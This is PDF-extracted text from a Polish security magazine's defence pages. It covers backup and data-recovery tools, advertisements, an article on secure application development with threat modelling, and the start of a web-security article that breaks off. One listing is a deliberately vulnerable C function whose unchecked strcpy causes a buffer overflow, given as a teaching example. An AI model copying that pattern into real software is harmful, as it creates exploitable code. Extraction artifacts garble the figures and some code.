do kilkunastu procent miejsca. W celu 
zabezpieczenia hasłem tworzonego 
obrazu należy skorzystać z opcji 
Password protection. Na koniec należy 
już tylko wskazać partycję lub dysk 
docelowy, gdzie ma zostać utworzony 

Rysunek 7. 

Okno programu Object Fix Zip

Rysunek 8. 

Okno menu płyty Ultimate Boot CD

background image

obraz partycji źródłowej oraz nazwę 
dla tego pliku. Cały proces powinien 
zająć nie więcej niż kilkanaście minut. To 
jednak jeszcze nie wszystko, co należy 
przygotować na wypadek awarii systemu. 
Potrzebna będzie jeszcze startowa płyta 
CD, którą wykorzystamy w momencie 
ewentualnego odtwarzania systemu z 
wcześniej sporządzonego obrazu. Należy 
włożyć czysty krążek CD do nagrywarki 
i wybrać Recovery Media Builder z 
menu Tools. Płytkę należy nagrać z 
domyślnymi ustawieniami programu i 
dobrze zabezpieczyć do momentu jej 
wykorzystania. W chwili awarii systemu 
należy wystartować komputer z płytki 
CD (wywołując przy starcie menu z 
wyborem napędu do bootowania lub 
zmienić w BIOSie kolejność startowania) 
i skorzystać z kreatora odzyskiwania 
systemu z obrazu. Należy wskazać 
ścieżkę z obrazem oraz partycję 
docelową, na której nastąpi przywrócenie 
systemu. Po przeprowadzeniu zadanej 
operacji kreator pokaże ekran 
podsumowujący i wymusi restart 
komputera.

Kopia lekiem na wszystko

Jak mawia stare powiedzenie, lepiej 
zapobiegać niż leczyć. Warto zatem 
wykonywać kopie ważnych dokumentów, 
wiadomości mailowych czy plików 
konfiguracyjnych używanych programów. 
W przypadku awarii dysku czy ataku 
wirusa, częściej łatwiej i szybciej 
jest przywrócić ważne pliki z kopii 
zapasowej niż spędzać długie godziny 
na odzyskiwaniu danych w nadziei, że 
wszystko się powiedzie. Niestety, mało 
kto pamięta o tym, aby wykonywać 
kopie swoich dokumentów i innych 
ważnych plików. Temat ten często 
jest bagatelizowany, odradzając się 
poniewczasie w momencie utraty danych. 
Dlatego warto zlecić to zadanie aplikacji 
Cobian Backup 8.4 (Rysunek 7), która 
kopie zapasowe będzie wykonywać za 
nas.

Po uruchomieniu programu należy 

określić, jakie katalogi czy pliki oraz 
w jakich odstępach czasu mają być 
archiwizowane. Z menu Zadania należy 
wybrać Nowe zadanie i przystąpić do 
określenia zasad wykonywania kopii 
zapasowych naszych plików. Warto 

ustawić typ kopii jako przyrostowy 
– program przy pierwszym uruchomieniu 
wykona pełny backup, natomiast 
kolejne archiwa zawierać będą tylko 
nowe lub zmodyfikowane pliki, co 
pozwoli oszczędzić czas poświęcony 
na wykonywanie zadania. W zakładce 
Pliki wskazujemy pliki i katalogi do 
skopiowania oraz ścieżkę docelową, w 
której zostaną zapisane. Co ciekawe, 
kopie można wykonywać również 
bezpośrednio na dysk sieciowy lub 
katalog sieciowy poprzez protokół FTP. W 
zakładce Harmonogram z dokładnością 
co do sekundy można określić odstępy 
czasowe wykonywania backupów. 
Zakładka Archiwum daje nam zaś 
możliwość poddania plików kompresji 
oraz zaszyfrowania tak powstałego 

archiwum i zabezpieczenia go hasłem. 
W określeniu rodzajów plików, które mają 
być archiwizowane (lub wręcz przeciwnie) 
pomoże zakładka Specjalne. Filtrowanie 
konkretnych typów plików może okazać 
się bardzo przydatne, jeśli chcemy na 
przykład wykonywać kopie katalogu 
Moje dokumenty, ale z pominięciem na 
przykład obrazów typu JPG. Na koniec 
warto przeprowadzić pierwszy backup, 
który w zależności od ilości wybranych 
katalogów i plików może chwilę potrwać. 
Kolejne, przeprowadzane co określony 
czas przy opcji przyrostowej, będą 
wykonywać się zdecydowanie szybciej, 
gdyż program zapisze tylko nowe 
pliki oraz te, które uległy zmianie. W 
ten sposób oszczędzi się czas, gdyż 
program nie będzie musiał archiwizować 

Rysunek 9. 

Okno menu płyty Emergency Boot CD

Rysunek 10. 

Okno programu HD tune 2.54

background image

OBRONA

54

 

HAKIN9 4/2008

wszystkich plików od początku. Proces 
przywrócenia danych z archiwum 
jest banalnie prosty i ogranicza się 
do wybrania z menu Narzędzia opcji 
Dekompresja oraz wskazaniu miejsca, 
gdzie zapisane jest archiwum.

Narzędzia dodatkowe

Często po procesie odzyskiwania danych 
z utraconej partycji czy wykasowanych 
katalogów nie wszystkie pliki dają się 
poprawnie odczytać. Nie oznacza to, że 
dane te są zupełnie bezużyteczne i należy 
je wykasować. Istnieje wiele przeróżnych 
narządzi, które pomogą naprawić 
uszkodzone pliki. Często okazuje się, że 
odzyskanego archiwum w postaci pliku ZIP 
nie można rozpakować, wtedy z pomocą 
przychodzi darmowe narzędzie Object Fix 
Zip 1.6.1 (Rysunek 8).

Program naprawia niekompletne 

archiwa w formacie ZIP, wstawiając 
w brakujące miejsca informacje 
pochodzące z nadmiarowych rekordów. 
Aby naprawić dokument w formacie PDF, 
warto sięgnąć po narzędzie Multivalent, 
które potrafi przywrócić do życia niejeden 
plik spod znaku Adobe. Jeśli okaże się, 
że program Microsoft Outlook zgłasza 
problem z dostępem do pliku poczty, to 
warto skorzystać z aplikacji CopyPST, 
która potrafi wyodrębnić poszczególne 
wiadomości z uszkodzonego pliku PST.

Płyty ratunkowe

W Sieci znaleźć można również wiele 
zestawów narzędzi do odzyskiwania i 
naprawy plików, zarządzania dyskami 
czy diagnozowania podzespołów 

komputera. Tak zwane Boot CD, czyli 
płyty startujące, które uruchamiają się 
podczas startu komputera z pominięciem 
zainstalowanego systemu, mogą okazać 
się bardzo przydatne w momencie, 
kiedy sam system nie chce wystartować 
poprawnie. W pełni darmowym zestawem 
takich narządzi jest produkt Ultimate Boot 
CD 4.1.1 (Rysunek 9).

Po restarcie systemu z wygodnego 

menu programu można wybrać m. in. 
narzędzia diagnostyczne do dysków 
twardych, czyszczące zawartość dysków, 
klonujące zawartość dysków, tworzące i 
zarządzające partycjami, do zarządzania 
startem dysków (bootowania), do obsługi 
plików, testujące pamięć, do odzyskania 
systemu Linux, a także informujące o 
systemie, antywirusowe oraz sieciowe.

Inną ciekawą propozycją z kategorii 

Boot CD jest zestaw narzędzi o nazwie 
Emergency Boot CD 0.6.1 (Rysunek 10).

Na płycie znajdują się między innymi: 

Volkov Commander, Free FDisk, Floppy 
disk reanimator, Smart Boot Manager 
oraz narzędzie diagnostyczne AIDA16. 
Autor EBCD twierdzi, że większa część 
oprogramowania należy do kategorii 
freeware i może być swobodnie 
rozpowszechniana, jednak status innych 
narzędzi jest nieznany. Dlatego warto 
usunąć wszystkie te aplikacje, których 
legalność budzi jakiekolwiek podejrzenia. 
Największą zaletą EBCD jest to, że z płyty 
można usunąć niepotrzebne aplikacje 
albo dodać na płytę te programy, których 
używamy najczęściej. To nic trudnego – 
trzeba jedynie dokonać edycji kilku plików 
XML. Wszystkie materiały niezbędne do 

przygotowania obrazu krążka startowego 
znajdują się w Sieci na stronie 
producenta. Warto mieć zawsze pod 
ręką obie płyty – ciężko wyobrazić sobie 
diagnostykę niesprawnego komputera 
bez zestawu tak przydatnych narzędzi.

Podsumowanie

Jak widać kwestia danych 
komputerowych, ich odzyskiwania i 
naprawiania nie jest rzeczą nadwyraz 
trudną. Wystarczy posiadać podstawową 
wiedzę z dziedziny komputerów i 
zapisu plików na nośnikach danych 
oraz odpowienie narzędzia w postaci 
odpowiednich programów. Domowe 
metody odzykiwania danych nie są może 
tak skuteczne jak w specjalistycznych 
labolatoriach dużych firm, ale pozwalają 
w większości przypadków uratować 
większość straconych plików. Dużym 
atutem jest również to, że prawie 
wszystkie operacje można wykonać przy 
użyciu darmowych programów ogólnie 
dostępnych w Internecie, renomowane 
firmy skasują za usługę odzysku danych 
nawet kilkanaście tysięcy złotych 
(wszystko zależy od ilości danych i stopnia 
uszkodzenia nośnika). Każdy wie o tym, że 
lepiej zapobiegać niż leczyć ale często 
o tym zapominamy. Podobnie jest z 
wykonywaniem kopii zapasowych ważnych 
danych czy nawet całych partycji dysku 
twardego. Warto jednak wyrobić w sobie 
nawyk wykonywania co pewien okres 
archiwum ze zbioru swoich dokumentów, 
zdjęć czy muzyki, uniknie się w przyszłości 
niemiłego rozczarowania oraz oszczędzi 
czas, który trzeba będzie poświęcić na 
odzyskiwanie danych. Jeśli cierpimy 
na zaniki pamięci można tą operację 
powieżyć odpowiednim programom, 
które co określony czas zrobią to za nas. 
Ostatnią deską ratunku okazują się płyty 
ratunkowe, zawsze warto mieć nagrane 
płytki z zestawami takich narzędzi, nigdy 
nie wiadomo kiedy mogą się przydać i 
przywrócić do życia wysłużony komputer.

W Sieci

•   http://www.officerecovery.com/freeundelete – pełna wersja programu FreeUndelete 2.0,
•   http://www.pcinspector.de – pełna wersja programu PC Inspector File Recovery 4.0,
•   http://www.smart-projects.net - pełna wersja programu IsoBuster 2.2,
•   http://www.cgsecurity.org/wiki/PhotoRec – pełna wersja programu PhotoRec 6.9,
•   http://www.paragon-software.com – wersja demonstracyjna programu Partition 

Manager 8.5,

•   http://www.paragon-software.com – wersja demonstracyjna programu Driver Backup 8.5,
•   http://www.educ.umu.se/~cobian/cobianbackup.htm – pełna wersja programu Cobian 

Backup 8.4,

•   http://www.objectrescue.com/products/objectfixzip – pełna wersja programu Object 

Fix Zip 1.6.1,

•   http://multivalent.sourceforge.net – pełna wersja programu Multivalent,
•   http://www.olfolders.de – pełna wersja programu CopyPST,
•   http://www.ultimatebootcd.com – pełna wersja obrazu ISO Ultimate Boot CD 4.1.1,
•   http://www.ebcd.pcministry.com – pełna wersja obrazu ISO Emergency Boot CD 0.6.1.

Bartłomiej Cyrny

Autor od wielu lat jest pasjonatem komputerów, 

pracuje jako Informatyk. Ukończył kierunek Informatyka 

i Ekonometria na Wydziale Zarządzania Uniwersytetu 

Gdańskiego. Obecnie dokształca się na studiach 

podyplomowych o kierunku Projektowanie i Zarządzanie 

Sieciami Komputerowymi na wydziale Elektroniki, 

Telekomunikacji i Informatyki na Politechnice Gdańskiej.

Redaktor wortalu: www.security.free.pl

Kontakt z autorem: bcyrny@gmail.com

background image

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
profesjonalny  system  CashBill.pl, 
umożliwiający  zarządzanie  usługami 
SMS  Premium  Rate  w  sektorze  B2B 
i  B2C.  Oferujemy  również  szeroki 
wachlarz  usług  mikropłatniczych, 
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy 
budowie aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż,  dystrybucja  oraz  import  na  za-
mówienie.  W  ofercie  programy  autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie 
możesz  znaleźć  polskiego  dostawcy? 
Skontaktuj  się  z  nami  ?  sprowadzimy 
nawet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc. oferujemy kompleksowe rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

www.ccns.pl

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych, serwisów WWW, prezentacji 
multimedialnych.  Budowa  sieci  LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna,  VoiceIP.  Usługi  outsor-
cingowe  dla  dużych  firm  z  zakresu 
informatyki  i  telekomunikacji.  Opro-
gramowanie  na  zamówienia.  Dostawa 
serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijają-
ca  się  firma,  specjalizująca  się  w  re-
alizacji  projektów  informatycznych. 
Oferujemy  rozwiązania  dla  biznesu
i  zarządzania  takie  jak  systemy  ERP 
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów. 
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce,  tworzenie  aplikacji  internetowych 
oraz systemów zarządzania treścią. 

www.zepterit.com

kontakt do nas: 

katarzyna.juszczynska@software.com.pl, robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym  przedmiotem  działalności  fir-
my  jest  produkcja,  wdrażanie  i  sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostin-
gowych  od  2000  roku.  Do  naszych 
zadowolonych  Klientów  z  dumą 
możemy zaliczyć wiele przedsiębiorstw 
sektora  MSP,  instytucji  oraz  osób  pry-
watnych.  W  ofercie  Kei.pl  znajdują  się 
pakiety  hostingowe,  a  także  usługi  dla 
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

Sokra-NET

Działa od roku 2002, specjalizuje się w 
szeroko pojętym bezpieczeństwie infor-
macji.  Posiada  wykwalifikowany  spec-
jalnie do tych celów zespół inżynierów 
którzy  przy  współpracy  z  naszymi  kli-
entami  maksymalizują  bezpieczeństwo 
danych,  audytując  i  dobezpieczając. 
Wykonujemy 

testy 

penetracyjne, 

analizy  kodów  źródłowych,  testy 
wydajnościowe aplikacji i ich środowisk 
teleinformatycznych. Wdrażamy polityki 
bezpieczeństwa.  Wspomagamy  nas-
zych partnerów merytorycznie.

www.sokra.net 

Sokra-NET

background image

56

 

OBRONA

HAKIN9 4/2008

P

rzy tworzeniu bezpiecznych programów 
naley zwróci szczególn uwag na kilka 
istotnych czynników wpywajcych na 

ogólne bezpieczestwo rozwizania. Cay tekst 
bazuje na przykadzie systemu Windows i 
aplikacji pisanych na platformie .NET.
Problem bezpieczeństwa aplikacji jest bardzo 
szeroko omawianym tematem w różnego 
rodzaju opracowaniach. Niemniej jednak 
warto kompleksowo przyjrzeć się tej kwestii. 
Ogólnie przyjętym stwierdzeniem jest potrzeba 
znalezienia złotego środka przy tworzeniu 
poszczególnych rozwiązań. Należy bardzo 
mocno wyważyć bezpieczeństwo z łatwością 
użycia aplikacji przez użytkowników końcowych. 
Każda aplikacja może być bardzo bezpieczna 
i uwzględniać wszystkie możliwe aspekty 
bezpieczeństwa, ale z drugiej strony będzie 
wtedy na pewno niewygodna w obsłudze. Jeśli 
przekształcimy to stwierdzenie, będziemy mogli 
powiedzieć, że programy łatwe w użyciu są 
aplikacjami niebezpiecznymi. No właśnie, ale 
czy aby na pewno tak jest? 

Bezpieczeństwo aplikacji

Bezpieczeństwo to kilka różnego rodzaju 
warstw, a co za tym idzie – różne elementy 
chroniące nasz system. Jeśli przyjrzymy się 
Rysunkowi 1, zobaczymy, w jaki sposób można 
umiejscowić takie warstwy.

Dane i aplikacja to oczywiście kluczowe 

elementy układanki. Oczywiście oba z tych 

ARTUR ŻARSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

o podstawowych zagadnieniach, 

które mogą podnieść 

bezpieczeństwo tworzenia 

i wdrażania aplikacji.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawową znajomość 

C/C++,

pojęcia związane 

z bezpieczeństwem danych.

elementów posiadają własne zabezpieczenia. 
I tak, dane mogą być szyfrowane przy pomocy 
EFS (Encrypted File System) oraz BitLocker’a
Do zabezpieczeń może być użyty IRM oraz 
RMS, a całość dodatkowo chroniona będzie 
przy pomocy ACL w NTFS. Aplikacja natomiast 
posiada własne zabezpieczenia dostępu, 
dobrze zdefiniowaną architekturę, kod oraz 
różnego rodzaju procedury walidacji.

Idąc dalej – nasz serwer (host) posiada 

zabezpieczenia systemu operacyjnego. Ma 
hasła dostępu do tegoż systemu operacyjnego. 
Dodatkowo jest często aktualizowany 
– wgrywane są zawsze najnowsze poprawki 
bezpieczeństwa. Użytkownicy mają możliwość 
użycia SmartCard z zainstalowanymi 
certyfikatami. 

Kolejny istotny element to cała infrastruktura 

sieciowa. Może być zabezpieczona przy 
pomocy IPSec czy IDS. Krańce sieci 

Stopień trudności

Bezpieczne a 

niebezpieczne 

aplikacje

Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces 

ich tworzenia, to również modelowanie zagrożeń, projektowanie 

rozwiązania oraz architektura. Wszystkie te czynniki składają się 

na stworzenie bezpiecznej lub niebezpiecznej aplikacji. 

Listing 1. 

Przykład przepełnienia bufora

int

 

ryzykowna1

(

char

 

*

 

pLancuch

)

 

{

 

int

 

nLicznik

 

=

 

0

;

 

char

 

pBufor

[

_MAX_PATH

]

;

strcpy

(

pBufor

pLancuch

);

 

for

(;

pBufor

;

 

pBufor

++)

 

if

 

(*

pBufor

 

==

 '\\'

)

 

nLicznik

++;

 

return

 

nLicznik

;

}

background image

57

 

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

HAKIN9 

4/2008

korporacyjnej (na rysunku granica sieci) 
zabezpieczone są przy pomocy firewall’a
a użytkownicy łączący się przy pomocy 
VPN, zanim uzyskają dostęp do sieci, 
przechodzą kwarantannę sprawdzającą 
'poprawność' komputera. Mając serwer 
oraz infrastrukturę pozostaje nam 
zapewnienie fizycznego bezpieczeństwa 
– czyli serwerownia ze strażnikami, 
dobrze zamkniętymi drzwiami, 
monitoringiem etc. 

Ostatnim, ale jednym z 

najważniejszych, elementem jest 
świadomość użytkowników (prawników 
firmy). Należy te osoby edukować, mówić 
im, czym jest bezpieczeństwo, 'przestawiać' 
na bezpieczne myślenie (np. stanowczo 
eliminować żółte karteczki z zapisanym 
hasłem, przyklejane pod biurkiem).

Wszystkie te elementy mogą 

wydawać się oczywiste, niemniej jednak 
bardzo często zdarza się, że krytyczne 
aplikacje uruchamiane są 'tymczasowo' 
pod biurkiem administratorów lub 
programistów. Do tego wszystkiego 
dochodzi jeszcze problem analogowo-
cyfrowy, w przypadku którego jedynym 
punktem jest ostatni z wymienionych 
wcześniej – a więc świadomość 
zagrożeń (Rysunek 2 – źródło Internet).

Modelowanie zagrożeń

Modelowanie zagrożeń to rodzaj 
analizy bezpieczeństwa, którego 
celem jest zwiększenie sumarycznego 
bezpieczeństwa aplikacji. Należy przy 

tym pamiętać, że zagrożenie nie oznacza 
słabego punktu. Na sumaryczne 
bezpieczeństwo aplikacji składa się kilka 
czynników: znalezienie luk infrastruktury, 
ocena zagrożeń bezpieczeństwa czy 
określenie środków zaradczych. Na 
czym polegają poszczególne czynniki? 
Jest to przykładowo analiza wszystkich 
możliwych wejść do systemu, w 
szczególności miejsc, w których z 
zewnątrz dostarczane są dane – np. 
API, gniazda, Web Service, pliki czy 
dane wprowadzane bezpośrednio 
przez użytkownika systemu. Następnie 
sprawdzanie zasobów, czyli wszystko, co 
może być potencjalnym źródłem ataku – 
na przykład dane, pliki konfiguracyjne etc. 
Modelowaniu podlega również poziom 
uprzywilejowania, czyli role użytkownika 
potrzebne do wejścia do systemu czy 

uzyskania praw dostępu do zasobów, a 
także sposób autoryzacji. 

Istnieje kilka metod modelowania 

zagrożeń, wśród nich technika STRIDE 
(SpoofingTamperingRepudiation
Information disclosureDenial of service
Elevation of privilege). Poszczególne 
odpowiedniki rodzajów zagrożeń wraz z 
przykładami przedstawia Tabela 1.

Do tego mamy jeszcze ocenę 

zagrożeń DREAD (Damage Potential, 
ReproducibilityExploitabilityAffected 
UsersDiscoverability), czyli kolejno:

•   D – Możliwość zniszczeń,
•   R – Powtarzalność,
•   E – Możliwość wykorzystania,
•   A – Użytkownicy, których dotyczy 

problem,

•   D – Możliwość wykrycia. 

Rysunek 1. 

Warstwy bezpieczeństwa 

systemów

����

���������

��������������������

����

�������������

�����������������������

������������������������

�����������������

Tabela 1. 

Techniki określania zagrożeń STRIDE

Fałszowanie

Fałszowanie wiadomości e-mail 

Powtarzanie uwierzytelniania

Zniekształcanie

Zmiana danych podczas transmisji

Zmiana danych w bazie danych

Zaprzeczanie

Usunięcie istotnych danych i zaprzeczanie temu

Zakup produktu i zaprzeczanie temu

Ujawnianie informacji

Ujawnianie informacji w komunikatach o błędach

Ujawnianie kodu w witrynie sieci Web

Odmowa usługi

Zalewanie usługi sieci Web nieprawidłowymi żądaniami

Zalewanie sieci pakietami SYN

Podwyższanie uprawnień

Uzyskiwanie uprawnień administratora

Używanie zestawu w pamięci GAC do tworzenia konta

Tabela 2. 

Analiza potencjalnych zagrożeń

Zagrożenie

D R

E

A

D Razem

Ocena

Napastnik uzyskuje poświadczenia

3

3

2

2

2

12

Wysoka

Wstrzyknięcie poleceń SQL

3

3

3

3

2

14

Wysoka

Tabela 3. 

Przydatne przełączniki oraz dodatkowe biblioteki

Przełącznik/Biblioteka

Uwagi

/GS: Przepełnienie stosu 

Skuteczność 100% 

/GS: Przekierowanie wskaźnika, zmiana 

wartości EBP 

Skuteczność niska (chyba że trafi na adres 

zwrotny) 

RTC: stos niezerowy 

Pomoc przy śledzeniu 

PREfast: analizator kodu 

Pożyteczny; dodatkowe ostrzeżenia 

SAL:dodatkowe adnotacje (_deref, _ecount 

…)

Duża skuteczność; wykrycie „losowych” 

błędów; pomoc w analizie 

Application Verifier 

Dobry pomocnik testera 

ACGP: rozrzucenie kodu w segmencie 

Duża skuteczność; wykrycie „losowych” 

błędów 

background image

OBRONA

58

 

HAKIN9 4/2008

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

59

 

HAKIN9 

4/2008

Do każdej z kategorii należy przypisać 
odpowiednią wagę zagrożenia – np. 
Wysokie (3), Średnie (2) oraz Niskie 
(1). Analizując potencjalne zagrożenia 
możemy określić jego ocenę. Przykład 
znajduje się w Tabeli 2.

Proces modelowania zagrożeń został 

opisany przez Microsoft już jakiś czas 
temu i przedstawia się następująco:

•   Zidentyfikować zasoby – czyli 

określenie typów danych, które mogą 
być interesujące dla napastników.

•   Stworzyć przegląd architektury – 

analiza komponentów pod względem 
wejść aplikacji. 

•   Dekompozycja aplikacji – analiza 

funkcji aplikacji (każdej z osobna) i 
określenie ścieżek przepływu danych.

•   Identyfikacja zagrożeń – określenie 

potencjalnych błędów w aplikacji 
oraz potencjalnych miejsc ataku.

•   Dokumentacja zagrożeń – spisanie 

wszystkich zagrożeń.

•   Ocena poziomu zagrożenia 

– określenie możliwości wykrycia 
i wystąpienia poszczególnych 
zagrożeń.

Wewnątrz firmy Microsoft stosowana 
jest metodologia Security Development 
Lifecycle. Wykorzystywana ona była 
między innymi przy tworzeniu SQL 
Server 2005, systemów Windows Vista 
oraz Windows Server 2008. Zgodnie z 
tą metodyką należy zwrócić uwagę na 
pewne zasady:

•   Okresowe OBOWIĄZKOWE szkolenia 

z zakresu bezpieczeństwa dla 
WSZYSTKICH zaangażowanych w 
proces tworzenia aplikacji.

•   Doradca bezpieczeństwa dla 

KAŻDEGO komponentu.

•   Modelowanie zagrożeń jako część 

procesu projektowego.

•   Przeglądy bezpieczeństwa i 

testowanie przewidziane w 
harmonogramie projektu.

•   Zdefiniowanie i stosowanie metryk 

bezpieczeństwa dla zespołów 
projektowych.

Trochę praktyki

Oprócz ogólnych elementów 
bezpieczeństwa systemu 
informatycznego, baczną uwagę należy 
również zwrócić na sposób pisania 
kodu naszej aplikacji. Warto zwrócić 
uwagę na: 

•   Bezpieczeństwo w projektowaniu 

i implementacji – jest to proces 
kładący nacisk na bezpieczeństwo 
oprogramowania, który również 
podlega modelowaniu zagrożeń. 
Szczególną uwagę należy 
zwrócić na audyt kodu oraz testy 
bezpieczeństwa. 

•   Bezpieczne wartości domyślne 

– dzięki którym minimalizujemy 
możliwy obszar sposobów ataku 
(attack surface).

•   Bezpieczna instalacja – warto 

również zwrócić uwagę na ten 

Rysunek 3. 

Dekompozycja aplikacji

������

�����������

����

���������

�������

�����������

�����������

���������

�����

��

���������

�����������

������������

�������

����

������������

�������������

�����������

�����

Rysunek 2. 

Problem analogowo-cyfrowy

background image

OBRONA

58

 

HAKIN9 4/2008

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

59

 

HAKIN9 

4/2008

aspekt, aby wykorzystać mechanizmy 
systemu operacyjnego i .NET 
Framework (np. CAS – Code Access 
Security).

Przykładów niebezpiecznego kodu 
jest wiele – najbardziej popularnym 
z nich jest przepełnienie bufora. 
Jest to zazwyczaj główna przyczyna 
problemów, spotykana najczęściej w 
przypadku kodu natywnego (C/C++
oraz API systemu operacyjnego. 
Ogólnie rzecz ujmując, polega na 
nadpisaniu „za dużym” parametrem 
stosu lub sterty, przepełnienia licznika 
czy też przekroczenia zakresu tablicy. 
Stosowanie pewnej grupy dobrze 
opisanych funkcji (do których można 
zaliczyć strcpy, gets, scanf, sprintf, strcat 
i inne) zwiększa ryzyko powstawania 
przepełnień bufora, dlatego ich 
stosowanie jest gorąco odradzane. 
Przykład błędu przedstawiony jest na 
Listingu 1.

Na Listingu 1 w kodzie od razu 

widać słaby punkt — parametr pBufor 
może zostać przepełniony, jeśli bufor 
wskazywany przez pLancuch jest dłuższy 
niż 

_ MAX _ PATH

.

Można oczywiście wykryć część 

tego typu problemów, wykorzystując 
odpowiednie przełączniki kompilatora i 
biblioteki przedstawione w Tabeli 3.

W przypadku kodu zarządzanego 

mamy pewnego rodzaju automat 
zabezpieczający przed przepełnieniem 
bufora, wyjściem poza zakres tablicy 
czy też nieprawidłowym kodem 
wykonywalnym. 

Gotowce

pomagające w pracy

Rozwiązaniem potencjalnych problemów 
może być Enterprise Library stworzone 
przez Microsoft przez grupę Patterns & 
Practices (http://msdn2.microsoft.com/
en-us/library/aa480453.aspx
). 

Enterprise Library to zestaw różnego 

rodzaju bloków aplikacji (funkcjonalnych). 
Bloki te są opisanymi gotowymi 
rozwiązaniami oraz kawałkami kodu, 
który należy tylko wstawić do własnej 
aplikacji wg zaleceń bez konieczności 
tworzenia własnych takich rozwiązań. 
Wśród gotowych bloków możemy 
znaleźć między innymi: Caching
CryptographyData AccessException 
HandlingLoggingSecurityValidation
Policy Injection. W naszym przypadku 
istotne będą dwa bloki: Cryptography 
Application Block oraz Validation 
Application Block. Należy pamiętać, 
że nie jest to rozwiązanie wszystkich 
problemów, ale warto się mu przyjrzeć, 
ponieważ jest po prostu pożyteczne dla 
programistów.

Podsumowanie

Jak widać (i jak wiadomo), problem 
bezpiecznych bądź niebezpiecznych 
aplikacji jest nader złożony. Wyróżnić 
można bardzo wiele aspektów tworzenia 
bezpiecznych aplikacji, na które należy 
zwrócić uwagę. Przede wszystkim są to: 
dobrze zdefiniowany proces tworzenia 
aplikacji, edukacja zespołu programistów, 
zachowanie jakości kodu oraz stworzenie 
bezpiecznej architektury.

Jednym z najistotniejszych punktów 

tworzenia rozwiązania jest również 
kodowanie. Dla przykładu bardzo 
wiele funkcji z biblioteki języka C jest 
potencjalnie niebezpiecznych np.: 

gets

strcpy

strcat

sprintf(“%s”)

Warto zwrócić uwagę na środki 
wspomagające tworzenie bezpiecznego 
kodu, czyli przede wszystkim pozwalające 
na automatyczny code review, statyczną 
analizę kodu – np. 

FxCop

. No i oczywiście 

testy. Testy, testy i jeszcze raz testy na 
występowanie różnych luk zabezpieczeń. 

Artur Żarski

Jest pracownikiem firmy Microsoft. Na co dzień 

zajmuje się m.in. tworzeniem rozwiązań w oparciu 

o SQL Server w różnych aspektach – bazy 

relacyjne, usługi integracyjne, usługi analityczne. 

Jest certyfikowanym administratorem baz danych 

(MCDBA).

Kontakt z autorem: arturz@microsoft.com

R

E

K

L

A

M

A

background image

60

 

OBRONA

HAKIN9 4/2008

N

apisałem ten tekst, ponieważ często 
zdarza mi się oglądać sklepy 
internetowe bądź strony tematyczne, 

które stały się ofiarami ata ków hakerów. I to 
wcale nie są ataki tzw. black hats (patrz Ramka 
1) czy profesjonalnych złodziei nastawionych na 
zysk z ukradzionych danych. Setki witryn padają 
z powodu młodych ludzi, którzy z nudy bawią 
się zabezpieczeniami stron. Czasem powodują 
oni tylko małe zakłócenie w pracy serwisu, 
jednak bywa i tak, że stronę trzeba zamknąć na 
jakiś czas. Dodają oni jakiś zabawny komunikat, 
a czasem nawet usuwają pewne dane z 
dysku. Dlaczego te strony stają się tak łatwym 
łupem? Moim zdaniem ze skąpstwa, bądź 
po prostu z lenistwa. Lenistwa tych, którym 
nie chce się jeszcze raz dokładnie przejrzeć 
napisanego kodu pod kątem zabezpieczeń. A 
ze skąpstwa tych, którzy woleli zaoszczędzić i 
umieścić ogłoszenie na jednej z bezpłatnych 
stron typu http://zlecenia.przez.net (oczywiście 
nie mówię, że wszyscy, którzy odpisują tam 
na ogłoszenia wykonują pracę nieporządnie 
– aczkolwiek dość często stawkę obniżają 
ludzie, którzy jednak nie znają się na rzeczy), 
niż zapłacić – co prawda 10 razy więcej, ale 
legalnej firmie, która porządnie wykona robotę. 
Bowiem ostatnio na rynku usług internetowych 
(konkretnie stron WWW) nastąpiła wielka 
ekspansja małych firm oraz freelancerów
których motto brzmi szybko i tanio, co – jak 
wiadomo – rzadko idzie w parze z jakością. 

JAKUB KAŁUŻNY

Z TEGO ARTYKUŁU 

DOWIESZ SIĘ

jakie są podstawowe luki 

w zabezpieczeniach aplikacji 

webowych,

jak się obronić przed atakami 

hakerów.

CO POWINIENEŚ 

WIEDZIEĆ

podstawy PHP,

podstawy HTML,

podstawy składni shella 

linuksowego.

Często zdarza się, że wykonawcy stron są 
licealistami bądź studentami, którzy dorabiają 
nielegalnie w Internecie. Tak więc docelowi 
właściciele dość często wolą zaufać jakiejś 
osobie, nawet bez większego portfolio, zlecić 
jej wykonanie strony całkowicie na czarno, bez 
umowy o dzieło. 

Boom na e-shopping

Za przykład posłuży nam fikcyjny sklep 
internetowy, od jakich ostatnio aż roi się w 
